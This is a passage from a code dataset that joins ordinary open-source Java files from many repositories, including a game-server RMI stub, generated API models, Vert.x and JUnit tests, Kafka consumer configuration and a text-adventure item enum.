ON_STATS_RECEIVED, MapBuilder.of("registrationName", ON_STATS_RECEIVED),
ON_NETWORK_QUALITY_LEVELS_CHANGED, MapBuilder.of("registrationName", ON_NETWORK_QUALITY_LEVELS_CHANGED),
ON_DOMINANT_SPEAKER_CHANGED, MapBuilder.of("registrationName", ON_DOMINANT_SPEAKER_CHANGED)
));
return map;
}
@Override
@Nullable
public Map<String, Integer> getCommandsMap() {
return MapBuilder.<String, Integer>builder()
.put("connectToRoom", CONNECT_TO_ROOM)
.put("disconnect", DISCONNECT)
.put("switchCamera", SWITCH_CAMERA)
.put("toggleVideo", TOGGLE_VIDEO)
.put("toggleSound", TOGGLE_SOUND)
.put("getStats", GET_STATS)
.put("disableOpenSLES", DISABLE_OPENSL_ES)
.put("toggleRemoteSound", TOGGLE_REMOTE_SOUND)
.put("toggleBluetoothHeadset", TOGGLE_BLUETOOTH_HEADSET)
.put("sendString", SEND_STRING)
.build();
}
}
| mit |
PTS3-S34A/Game-Server | Soccar [Game-Server]/src/nl/soccar/gameserver/controller/rmi/GameServerForMainServer.java | 1766 | package nl.soccar.gameserver.controller.rmi;
import nl.soccar.gameserver.model.GameServer;
import nl.soccar.library.enumeration.BallType;
import nl.soccar.library.enumeration.Duration;
import nl.soccar.library.enumeration.MapType;
import nl.soccar.rmi.interfaces.IGameServerForMainServer;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import nl.soccar.rmi.RmiConstants;
/**
* A GameServerForMainServer is an RMI-stub object used by the Main Server that
* realizes the RMI-methods provided by the IGameServerForMainServer interface.
*
* @author PTS34A
*/
public final class GameServerForMainServer extends UnicastRemoteObject implements IGameServerForMainServer {
/**
* Initializes the GameServerForMainServer class.
*
* @throws RemoteException
*/
public GameServerForMainServer() throws RemoteException {
// Doesnt need any parameters for intializing.
}
@Override
public boolean createSession(String name, String password, String hostName, int capacity, Duration duration, MapType mapType, BallType ballType) throws RemoteException {
return GameServer.getInstance().getSessionController().createSession(name, password, hostName, capacity, duration, mapType, ballType);
}
@Override
public long getAvailableMemory() throws RemoteException {
return Runtime.getRuntime().freeMemory();
}
@Override
public int ping(int value) throws RemoteException {
return value * RmiConstants.PING_CALCULATION_FACTOR;
}
/**
* Closes the RMI Stub.
*
* @throws IOException
*/
public final void close() throws IOException {
UnicastRemoteObject.unexportObject(this, true);
}
}
| mit |
cliffano/swaggy-jenkins | clients/java-play-framework/generated/app/apimodels/PipelineStepImpllinks.java | 2863 | package apimodels;
import apimodels.Link;
import com.fasterxml.jackson.annotation.*;
import java.util.Set;
import javax.validation.*;
import java.util.Objects;
import javax.validation.constraints.*;
/**
* PipelineStepImpllinks
*/
@javax.annotation.Generated(value = "org.openapitools.codegen.languages.JavaPlayFrameworkCodegen", date = "2022-02-13T02:17:56.963279Z[Etc/UTC]")
@SuppressWarnings({"UnusedReturnValue", "WeakerAccess"})
public class PipelineStepImpllinks {
@JsonProperty("self")
@Valid
private Link self;
@JsonProperty("actions")
@Valid
private Link actions;
@JsonProperty("_class")
private String propertyClass;
public PipelineStepImpllinks self(Link self) {
this.self = self;
return this;
}
/**
* Get self
* @return self
**/
public Link getSelf() {
return self;
}
public void setSelf(Link self) {
this.self = self;
}
public PipelineStepImpllinks actions(Link actions) {
this.actions = actions;
return this;
}
/**
* Get actions
* @return actions
**/
public Link getActions() {
return actions;
}
public void setActions(Link actions) {
this.actions = actions;
}
public PipelineStepImpllinks propertyClass(String propertyClass) {
this.propertyClass = propertyClass;
return this;
}
/**
* Get propertyClass
* @return propertyClass
**/
public String getPropertyClass() {
return propertyClass;
}
public void setPropertyClass(String propertyClass) {
this.propertyClass = propertyClass;
}
@Override
public boolean equals(Object o) {
if (this == o) {
return true;
}
if (o == null || getClass() != o.getClass()) {
return false;
}
PipelineStepImpllinks pipelineStepImpllinks = (PipelineStepImpllinks) o;
return Objects.equals(self, pipelineStepImpllinks.self) &&
Objects.equals(actions, pipelineStepImpllinks.actions) &&
Objects.equals(propertyClass, pipelineStepImpllinks.propertyClass);
}
@Override
public int hashCode() {
return Objects.hash(self, actions, propertyClass);
}
@SuppressWarnings("StringBufferReplaceableByString")
@Override
public String toString() {
StringBuilder sb = new StringBuilder();
sb.append("class PipelineStepImpllinks {\n");
sb.append(" self: ").append(toIndentedString(self)).append("\n");
sb.append(" actions: ").append(toIndentedString(actions)).append("\n");
sb.append(" propertyClass: ").append(toIndentedString(propertyClass)).append("\n");
sb.append("}");
return sb.toString();
}
/**
* Convert the given object to string with each line indented by 4 spaces
* (except the first line).
*/
private String toIndentedString(Object o) {
if (o == null) {
return "null";
}
return o.toString().replace("\n", "\n ");
}
}
| mit |
VKCOM/vk-java-sdk | sdk/src/main/java/com/vk/api/sdk/queries/newsfeed/NewsfeedSearchQuery.java | 5414 | // Autogenerated from vk-api-schema. Please don't edit it manually.
package com.vk.api.sdk.queries.newsfeed;
import com.vk.api.sdk.client.AbstractQueryBuilder;
import com.vk.api.sdk.client.VkApiClient;
import com.vk.api.sdk.client.actors.ServiceActor;
import com.vk.api.sdk.client.actors.UserActor;
import com.vk.api.sdk.objects.base.UserGroupFields;
import com.vk.api.sdk.objects.newsfeed.responses.SearchResponse;
import java.util.Arrays;
import java.util.List;
/**
* Query for Newsfeed.search method
*/
public class NewsfeedSearchQuery extends AbstractQueryBuilder<NewsfeedSearchQuery, SearchResponse> {
/**
* Creates a AbstractQueryBuilder instance that can be used to build api request with various parameters
*
* @param client VK API client
* @param actor actor with access token
*/
public NewsfeedSearchQuery(VkApiClient client, UserActor actor) {
super(client, "newsfeed.search", SearchResponse.class);
accessToken(actor.getAccessToken());
}
/**
* Creates a AbstractQueryBuilder instance that can be used to build api request with various parameters
*
* @param client VK API client
* @param actor actor with access token
*/
public NewsfeedSearchQuery(VkApiClient client, ServiceActor actor) {
super(client, "newsfeed.search", SearchResponse.class);
accessToken(actor.getAccessToken());
clientSecret(actor.getClientSecret());
}
/**
* Search query string (e.g., 'New Year').
*
* @param value value of "q" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery q(String value) {
return unsafeParam("q", value);
}
/**
* '1' — to return additional information about the user or community that placed the post.
*
* @param value value of "extended" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery extended(Boolean value) {
return unsafeParam("extended", value);
}
/**
* Number of posts to return.
*
* @param value value of "count" parameter. Maximum is 200. Minimum is 0. By default 30.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery count(Integer value) {
return unsafeParam("count", value);
}
/**
* Geographical latitude point (in degrees, -90 to 90) within which to search.
*
* @param value value of "latitude" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery latitude(Number value) {
return unsafeParam("latitude", value);
}
/**
* Geographical longitude point (in degrees, -180 to 180) within which to search.
*
* @param value value of "longitude" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery longitude(Number value) {
return unsafeParam("longitude", value);
}
/**
* Earliest timestamp (in Unix time) of a news item to return. By default, 24 hours ago.
*
* @param value value of "start time" parameter. Minimum is 0.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery startTime(Integer value) {
return unsafeParam("start_time", value);
}
/**
* Latest timestamp (in Unix time) of a news item to return. By default, the current time.
*
* @param value value of "end time" parameter. Minimum is 0.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery endTime(Integer value) {
return unsafeParam("end_time", value);
}
/**
* Set start from
*
* @param value value of "start from" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery startFrom(String value) {
return unsafeParam("start_from", value);
}
/**
* fields
* Additional fields of [vk.com/dev/fields|profiles] and [vk.com/dev/fields_groups|communities] to return.
*
* @param value value of "fields" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery fields(UserGroupFields... value) {
return unsafeParam("fields", value);
}
/**
* Additional fields of [vk.com/dev/fields|profiles] and [vk.com/dev/fields_groups|communities] to return.
*
* @param value value of "fields" parameter.
* @return a reference to this {@code AbstractQueryBuilder} object to fulfill the "Builder" pattern.
*/
public NewsfeedSearchQuery fields(List<UserGroupFields> value) {
return unsafeParam("fields", value);
}
@Override
protected NewsfeedSearchQuery getThis() {
return this;
}
@Override
protected List<String> essentialKeys() {
return Arrays.asList("access_token");
}
}
| mit |
Cybermaxke/Weathers | src/main/java/me/cybermaxke/weathers/interfaces/IMixinWorld.java | 1413 | /*
* This file is part of Weathers, licensed under the MIT License (MIT).
*
* Copyright (c) Cybermaxke
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the Software), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package me.cybermaxke.weathers.interfaces;
public interface IMixinWorld {
void initWeatherVolume();
float getRainStrength();
float getTargetRainStrength();
float getDarkness();
boolean isWeatherOptimal();
}
| mit |
geansea/GSLayout | app/src/main/java/com/geansea/gslayoutdemo/GSPosterView.java | 4541 | package com.geansea.gslayoutdemo;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Rect;
import android.graphics.Typeface;
import android.text.TextPaint;
import android.util.AttributeSet;
import android.view.View;
import com.geansea.layout.GSLayout;
import org.json.JSONException;
import org.json.JSONObject;
class GSPosterView extends android.support.v7.widget.AppCompatImageView {
public GSPosterView(Context context, AttributeSet attrs) {
super(context, attrs);
// Disable hardware acceleration for this view
setLayerType(View.LAYER_TYPE_SOFTWARE, null);
}
public void setLayout(String configJson, Bitmap bitmap, String content, String author) {
PosterConfig config;
try {
JSONObject json = new JSONObject(configJson);
config = new PosterConfig(json);
} catch (JSONException e) {
e.printStackTrace();
return;
}
drawPoster(config, bitmap, content, author);
setImageBitmap(bitmap);
}
private static class PosterTextConfig {
private final Rect frame;
boolean vertical;
GSLayout.Alignment textAlign;
GSLayout.Alignment lineAlign;
float fontSize;
int textColor;
PosterTextConfig(JSONObject json) throws JSONException {
int l = json.getInt("l");
int r = json.getInt("r");
int t = json.getInt("t");
int b = json.getInt("b");
frame = new Rect(l, t, r, b);
vertical = json.getInt("vertical") != 0;
String align = json.getString("align");
switch (align) {
case "start":
textAlign = GSLayout.Alignment.ALIGN_NORMAL;
break;
case "center":
textAlign = GSLayout.Alignment.ALIGN_CENTER;
break;
case "end":
textAlign = GSLayout.Alignment.ALIGN_OPPOSITE;
break;
default:
textAlign = GSLayout.Alignment.ALIGN_NORMAL;
}
align = json.getString("line-align");
switch (align) {
case "start":
lineAlign = GSLayout.Alignment.ALIGN_NORMAL;
break;
case "center":
lineAlign = GSLayout.Alignment.ALIGN_CENTER;
break;
case "end":
lineAlign = GSLayout.Alignment.ALIGN_OPPOSITE;
break;
default:
lineAlign = GSLayout.Alignment.ALIGN_NORMAL;
}
fontSize = json.getInt("size");
String color = json.getString("color");
textColor = Color.parseColor(color);
}
void draw(Canvas canvas, String text) {
TextPaint paint = new TextPaint();
paint.setAntiAlias(true);
paint.setTypeface(Typeface.DEFAULT);
paint.setColor(textColor);
GSLayout.Builder builder = GSLayout.Builder.obtain(paint)
.setRect(frame)
.setVertical(vertical)
.setFontSize(fontSize)
.setTextAlignment(textAlign, textAlign)
.setLineAlignment(lineAlign)
.setLineSpacing(0.3f)
.setParagraphSpacing(0.3f);
GSLayout layout = builder.build(text);
if (layout != null) {
layout.draw(canvas);
}
}
}
private static class PosterConfig {
private final PosterTextConfig contentConfig;
private final PosterTextConfig authorConfig;
PosterConfig(JSONObject json) throws JSONException {
JSONObject content = json.getJSONObject("content");
contentConfig = new PosterTextConfig(content);
JSONObject author = json.getJSONObject("author");
authorConfig = new PosterTextConfig(author);
}
void draw(Canvas canvas, String content, String author) {
contentConfig.draw(canvas, content);
authorConfig.draw(canvas, author);
}
}
private static void drawPoster(PosterConfig config, Bitmap bitmap, String content, String author) {
Canvas canvas = new Canvas(bitmap);
config.draw(canvas, content, author);
}
}
| mit |
englishtown/vertx-when | vertx-when/src/test/java/com/englishtown/vertx/promises/impl/DefaultWhenVertxTest.java | 6423 | package com.englishtown.vertx.promises.impl;
import com.englishtown.promises.Done;
import com.englishtown.promises.When;
import com.englishtown.promises.WhenFactory;
import io.vertx.core.*;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.ArgumentCaptor;
import org.mockito.Captor;
import org.mockito.Mock;
import org.mockito.runners.MockitoJUnitRunner;
import static org.junit.Assert.assertFalse;
import static org.mockito.Matchers.any;
import static org.mockito.Matchers.anyBoolean;
import static org.mockito.Matchers.eq;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
/**
* Unit tests for {@link DefaultWhenVertx}
*/
@RunWith(MockitoJUnitRunner.class)
public class DefaultWhenVertxTest {
private DefaultWhenVertx whenVertx;
private Done<String> done = new Done<>();
private String identifier = "com.englishtown.test.Verticle";
@Mock
Vertx vertx;
@Mock
AsyncResult<String> result;
@Mock
AsyncResult<Void> voidResult;
@Mock
DeploymentOptions options;
@Mock
Verticle verticle;
@Mock
Handler<Future<String>> futureHandler;
@Captor
ArgumentCaptor<Handler<AsyncResult<String>>> handlerCaptor;
@Captor
ArgumentCaptor<Handler<AsyncResult<Void>>> voidHandlerCaptor;
@Captor
ArgumentCaptor<Handler<AsyncResult<String>>> stringHandlerCaptor;
@Before
public void setUp() {
When when = WhenFactory.createSync();
whenVertx = new DefaultWhenVertx(vertx, when);
}
@Test
public void testDeployVerticle_Identifier_Success1() throws Exception {
when(result.succeeded()).thenReturn(true);
whenVertx.deployVerticle(identifier).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(identifier), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertFulfilled();
}
@Test
public void testDeployVerticle_Identifier_Fail1() throws Exception {
when(result.succeeded()).thenReturn(false);
whenVertx.deployVerticle(identifier).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(identifier), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertRejected();
}
@Test
public void testDeployVerticle_Identifier_Success2() throws Exception {
when(result.succeeded()).thenReturn(true);
whenVertx.deployVerticle(identifier, options).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(identifier), eq(options), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertFulfilled();
}
@Test
public void testDeployVerticle_Identifier_Fail2() throws Exception {
when(result.succeeded()).thenReturn(false);
whenVertx.deployVerticle(identifier, options).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(identifier), eq(options), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertRejected();
}
@Test
public void testDeployVerticle_Verticle_Success1() throws Exception {
when(result.succeeded()).thenReturn(true);
whenVertx.deployVerticle(verticle).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(verticle), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertFulfilled();
}
@Test
public void testDeployVerticle_Verticle_Fail1() throws Exception {
when(result.succeeded()).thenReturn(false);
whenVertx.deployVerticle(verticle).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(verticle), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertRejected();
}
@Test
public void testDeployVerticle_Verticle_Success2() throws Exception {
when(result.succeeded()).thenReturn(true);
whenVertx.deployVerticle(verticle, options).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(verticle), eq(options), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertFulfilled();
}
@Test
public void testDeployVerticle_Verticle_Fail2() throws Exception {
when(result.succeeded()).thenReturn(false);
whenVertx.deployVerticle(verticle, options).then(done.onFulfilled, done.onRejected);
verify(vertx).deployVerticle(eq(verticle), eq(options), handlerCaptor.capture());
handlerCaptor.getValue().handle(result);
done.assertRejected();
}
@Test
public void testUndeploy() throws Exception {
String deploymentID = "id";
Done<Void> done = new Done<>();
when(voidResult.succeeded()).thenReturn(true);
whenVertx.undeploy(deploymentID).then(done.onFulfilled, done.onRejected);
verify(vertx).undeploy(eq(deploymentID), voidHandlerCaptor.capture());
voidHandlerCaptor.getValue().handle(voidResult);
done.assertFulfilled();
}
@Test
public void testUndeploy_Fail() throws Exception {
String deploymentID = "id";
Done<Void> done = new Done<>();
whenVertx.undeploy(deploymentID).then(done.onFulfilled, done.onRejected);
verify(vertx).undeploy(eq(deploymentID), voidHandlerCaptor.capture());
voidHandlerCaptor.getValue().handle(voidResult);
done.assertRejected();
}
@Test
public void testExecuteBlocking() throws Exception {
whenVertx.executeBlocking(futureHandler).then(done.onFulfilled, done.onRejected);
verify(vertx).<String>executeBlocking(any(), anyBoolean(), stringHandlerCaptor.capture());
assertFalse(done.fulfilled());
stringHandlerCaptor.getValue().handle(Future.succeededFuture());
done.assertFulfilled();
}
@Test
public void testExecuteBlocking_Fail() throws Exception {
whenVertx.executeBlocking(futureHandler).then(done.onFulfilled, done.onRejected);
verify(vertx).<String>executeBlocking(any(), anyBoolean(), stringHandlerCaptor.capture());
assertFalse(done.fulfilled());
stringHandlerCaptor.getValue().handle(Future.failedFuture(""));
done.assertRejected();
}
}
| mit |
crainiarc/yotacast | android/YotaCast/yotaphone_titanium_sdk/src/com/yotadevices/sdk/Drawer.java | 3799 | package com.yotadevices.sdk;
import android.content.Context;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
/**
* @hide
*/
public abstract class Drawer {
/**
* Waveforms that can be used to draw on Back Screen.<br>
* <br>
* <b>WAVEFORM_DU</b> - For drawing black and white 2-colors images. Drawing
* time is around 250ms. This waveform makes full screen update - whole area
* is updated. Use this to minimize ghosting effect.<br>
* <b>WAVEFORM_GC_FULL</b> - For drawing 16-colors images. Drawing time is
* around 500ms. This waveform makes full screen update - whole area is
* updated. Use this to minimize ghosting effect.<br>
* <b>WAVEFORM_GC_PARTIAL</b> - For drawing 16-colors images. Drawing time
* is around 500ms. This waveform makes partial screen update - only those
* pixels are updated, that were actually changed.<br>
* <b>WAVEFORM_A2</b> - For drawing black and white 2-colors images. Drawing
* time is around 120ms. This waveform makes partial screen update - only
* those pixels are updated, that were actually changed.<br>
*/
public enum Waveform {
/**
* @hide
*/
WAVEFORM_DEFAULT, WAVEFORM_A2, WAVEFORM_DU, WAVEFORM_GC_PARTIAL, WAVEFORM_GC_FULL, WAVEFORM_GL, WAVEFORM_GLR, WAVEFORM_GLD;
// define for driver
private final static int WF_MODE_INIT = 0;
private final static int WF_MODE_DU = 1;
private final static int WF_MODE_GC16 = 2; // 16 grays (flashing)
private final static int WF_MODE_GL16 = 3;
private final static int WF_MODE_GLR16 = 4;
private final static int WF_MODE_GLD16 = 5;
private final static int WF_MODE_A2 = 6;
// update type
private final static int UPD_FULL = 0x33;
private final static int UPD_PART = 0x35;
/**
* @hide
*/
public int getInternalValue() {
switch (this) {
case WAVEFORM_DEFAULT:
return WF_MODE_INIT;
case WAVEFORM_DU:
return WF_MODE_DU;
case WAVEFORM_GC_PARTIAL:
case WAVEFORM_GC_FULL:
return WF_MODE_GC16;
case WAVEFORM_GL:
return WF_MODE_GL16;
case WAVEFORM_GLR:
return WF_MODE_GLR16;
case WAVEFORM_GLD:
return WF_MODE_GLD16;
case WAVEFORM_A2:
return WF_MODE_A2;
default:
return WF_MODE_GC16;
}
}
/**
* @hide
*/
public int getUpdateType() {
switch (this) {
case WAVEFORM_A2:
case WAVEFORM_DU:
return UPD_PART;
case WAVEFORM_GC_PARTIAL:
return UPD_PART;
case WAVEFORM_GC_FULL:
case WAVEFORM_GL:
case WAVEFORM_GLD:
case WAVEFORM_GLR:
return UPD_FULL;
default:
return UPD_FULL;
}
}
}
public enum Dithering {
/**
* @hide
*/
DITHER_DEFAULT, DITHER_NONE, DITHER_ATKINSON, DITHER_ATKINSON_BINARY, DITHER_FLOYD_STEINBERG, DITHER_FLOYD_STEINBERG_BINARY, BLACK_AND_WHITE_ONLY;
}
public abstract void addViewToBS(View v, ViewGroup.LayoutParams lp);
public abstract void removeViewFromBS(View v);
public abstract void addBSParentView(Waveform mInitialWaveform, Dithering mInitialDithering);
public abstract void removeBSParentView();
public abstract Context getBSContext();
public abstract LayoutInflater getBSLayoutInflater();
public abstract void updateViewLayout(int visibility);
}
| mit |
domix/lombok | test/transform/resource/after-delombok/GetterSetterJavadoc.java | 2208 | class GetterSetterJavadoc1 {
/**
* Some text
*/
private int fieldName;
@java.lang.SuppressWarnings("all")
public GetterSetterJavadoc1() {
}
/**
* Getter section
*
* @return Sky is blue1
*/
@java.lang.SuppressWarnings("all")
public int getFieldName() {
return this.fieldName;
}
/**
* Some text
*
* @param fieldName Hello, World1
*/
@java.lang.SuppressWarnings("all")
public void setFieldName(final int fieldName) {
this.fieldName = fieldName;
}
@java.lang.Override
@java.lang.SuppressWarnings("all")
public boolean equals(final java.lang.Object o) {
if (o == this) return true;
if (!(o instanceof GetterSetterJavadoc1)) return false;
final GetterSetterJavadoc1 other = (GetterSetterJavadoc1)o;
if (!other.canEqual((java.lang.Object)this)) return false;
if (this.getFieldName() != other.getFieldName()) return false;
return true;
}
@java.lang.SuppressWarnings("all")
protected boolean canEqual(final java.lang.Object other) {
return other instanceof GetterSetterJavadoc1;
}
@java.lang.Override
@java.lang.SuppressWarnings("all")
public int hashCode() {
final int PRIME = 59;
int result = 1;
result = result * PRIME + this.getFieldName();
return result;
}
@java.lang.Override
@java.lang.SuppressWarnings("all")
public java.lang.String toString() {
return "GetterSetterJavadoc1(fieldName=" + this.getFieldName() + ")";
}
}
class GetterSetterJavadoc2 {
/**
* Some text
*/
private int fieldName;
/**
* Some text
*
* @return Sky is blue2
*/
@java.lang.SuppressWarnings("all")
public int getFieldName() {
return this.fieldName;
}
/**
* Some text
*
* @param fieldName Hello, World2
*/
@java.lang.SuppressWarnings("all")
public void setFieldName(final int fieldName) {
this.fieldName = fieldName;
}
}
class GetterSetterJavadoc3 {
/**
* Some text
*/
private int fieldName;
/**
* Getter section
* @return Sky is blue3
*/
@java.lang.SuppressWarnings("all")
public int getFieldName() {
return this.fieldName;
}
/**
* Setter section
* @param fieldName Hello, World3
*/
@java.lang.SuppressWarnings("all")
public void setFieldName(final int fieldName) {
this.fieldName = fieldName;
}
} | mit |
concon121/DrugSuitabilityPortal | DrugSuitabilityPortal/src/test/java/uk/co/cbray/msc/nhsdsp/utils/AgeHelperTest.java | 652 | package uk.co.cbray.msc.nhsdsp.utils;
import static org.junit.Assert.*;
import java.util.Calendar;
import java.util.GregorianCalendar;
import org.junit.Test;
public class AgeHelperTest {
@Test
public void testCalculateAgeReturnsTheCorrectAge() {
int expectedAge = 45;
Calendar dob = new GregorianCalendar();
Calendar today = new GregorianCalendar();
int year = today.get(Calendar.YEAR);
// Set date of birth to the first of JAN, 45 years ago.
dob.set(year - expectedAge, Calendar.JANUARY, 1);
int actualAge = AgeHelper.calculateAge(dob);
assertEquals(expectedAge, actualAge);
}
}
| mit |
code-not-found/spring-kafka | spring-kafka-batch-listener/src/main/java/com/codenotfound/kafka/consumer/ReceiverConfig.java | 1897 | package com.codenotfound.kafka.consumer;
import java.util.HashMap;
import java.util.Map;
import org.apache.kafka.clients.consumer.ConsumerConfig;
import org.apache.kafka.common.serialization.StringDeserializer;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.kafka.annotation.EnableKafka;
import org.springframework.kafka.config.ConcurrentKafkaListenerContainerFactory;
import org.springframework.kafka.core.ConsumerFactory;
import org.springframework.kafka.core.DefaultKafkaConsumerFactory;
@Configuration
@EnableKafka
public class ReceiverConfig {
@Value("${kafka.bootstrap-servers}")
private String bootstrapServers;
@Bean
public Map<String, Object> consumerConfigs() {
Map<String, Object> props = new HashMap<>();
props.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapServers);
props.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class);
props.put(ConsumerConfig.GROUP_ID_CONFIG, "batch");
// maximum records per poll
props.put(ConsumerConfig.MAX_POLL_RECORDS_CONFIG, "10");
return props;
}
@Bean
public ConsumerFactory<String, String> consumerFactory() {
return new DefaultKafkaConsumerFactory<>(consumerConfigs());
}
@Bean
public ConcurrentKafkaListenerContainerFactory<String, String> kafkaListenerContainerFactory() {
ConcurrentKafkaListenerContainerFactory<String, String> factory =
new ConcurrentKafkaListenerContainerFactory<>();
factory.setConsumerFactory(consumerFactory());
// enable batch listening
factory.setBatchListener(true);
return factory;
}
@Bean
public Receiver receiver() {
return new Receiver();
}
}
| mit |
technosophos/sinciput | rhizome/src/com/technosophos/rhizome/document/XMLElements.java | 1562 | package com.technosophos.rhizome.document;
/**
* Basic XML information.
* Since lots of classes need access to the same strings, this class
* defines constants for accessing these. This should be imported with
* the static modifier.
* @author mbutcher
*
*/
public class XMLElements {
public static String RHIZOME_DOCLIST_ROOT = "rhizomelist";
public static String RHIZOME_DOC_XMLNS = "http://technosophos.com/xml/rhizome/document";
public static String RHIZOME_DOC_QUALIFIER = "rhizome";
public static String RHIZOME_DOC_ROOT = "rhizome";
public static String RHIZOME_DOC_METADATA = "metadata";
public static String RHIZOME_DOC_METADATUM = "metadatum";
public static String RHIZOME_DOC_VALUE = "value";
public static String RHIZOME_DOC_RELATIONS = "relations";
public static String RHIZOME_DOC_RELATION = "relation";
public static String RHIZOME_DOC_DATA = "data";
public static String RHIZOME_DOC_EXTENSIONS = "extensions";
public static String RHIZOME_DOC_EXTENSION = "extension";
public static String RHIZOME_DOC_ATTR_DOCID = "docid";
public static String RHIZOME_DOC_ATTR_NAME = "name";
public static String RHIZOME_DOC_ATTR_DATATYPE = "datatype";
/** Used to indicate what type of relation is contained. */
public static String RHIZOME_DOC_ATTR_RELATIONTYPE = "relationtype";
/** used for indicating type of data stored in the element. */
public static String RHIZOME_DOC_ATTR_MIMETYPE = "mimetype";
/** Used to determine whether or not an item can be indexed. */
public static String RHIZOME_DOC_ATTR_INDEX = "index";
}
| mit |
sweetcode/TextAdventure | src/de/SweetCode/TextAdventure/Item/ItemTypes.java | 19882 | package de.SweetCode.TextAdventure.Item;
import de.SweetCode.TextAdventure.Inventory.Inventory;
import de.SweetCode.TextAdventure.Item.Items.*;
import de.SweetCode.TextAdventure.Item.Recipe.Recipe;
import de.SweetCode.TextAdventure.Item.Recipe.RecipeItem;
import de.SweetCode.TextAdventure.Item.Recipe.RecipeTool;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Yonas on 26.08.2015.
*/
public enum ItemTypes implements ItemType {
APPLE {
@Override
public String getName() {
return "Apple";
}
@Override
public Apple create() {
return new Apple();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
CIRCUIT_BOARD {
@Override
public String getName() {
return "Circuit Board";
}
@Override
public CircuitBoard create() {
return new CircuitBoard();
}
@Override
public Recipe getRecipe() {
return new Recipe(null);
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
COAL {
@Override
public String getName() {
return "Coal";
}
@Override
public Coal create() {
return new Coal();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.COAL, 4))
.addIngredient(new RecipeTool(ItemTypes.LIGHTER, 0.5))
.addIngredient(new RecipeItem(ItemTypes.WOOD));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
DIAMOND {
@Override
public String getName() {
return "Diamond";
}
@Override
public Diamond create() {
return new Diamond();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND))
.addIngredient(new RecipeTool(ItemTypes.MACHINE, 2))
.addIngredient(new RecipeItem(ItemTypes.COAL, 4));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
DIAMOND_BOOTS {
@Override
public String getName() {
return "Diamond Boots";
}
@Override
public DiamondBoots create() {
return new DiamondBoots();
}
@Override
public Recipe getRecipe() {
return new Recipe(new ItemStack(ItemTypes.DIAMOND_BOOTS))
.addIngredient(new RecipeItem(ItemTypes.DIAMOND, 4));
}
@Override
public boolean is(Class clazz) {
return clazz.isAssignableFrom(this.create().getClass());
}
},
DIAMOND_CHESTPLATE {
@Override
public String getName() {
return "Diamond Chestplate";
}
@Override
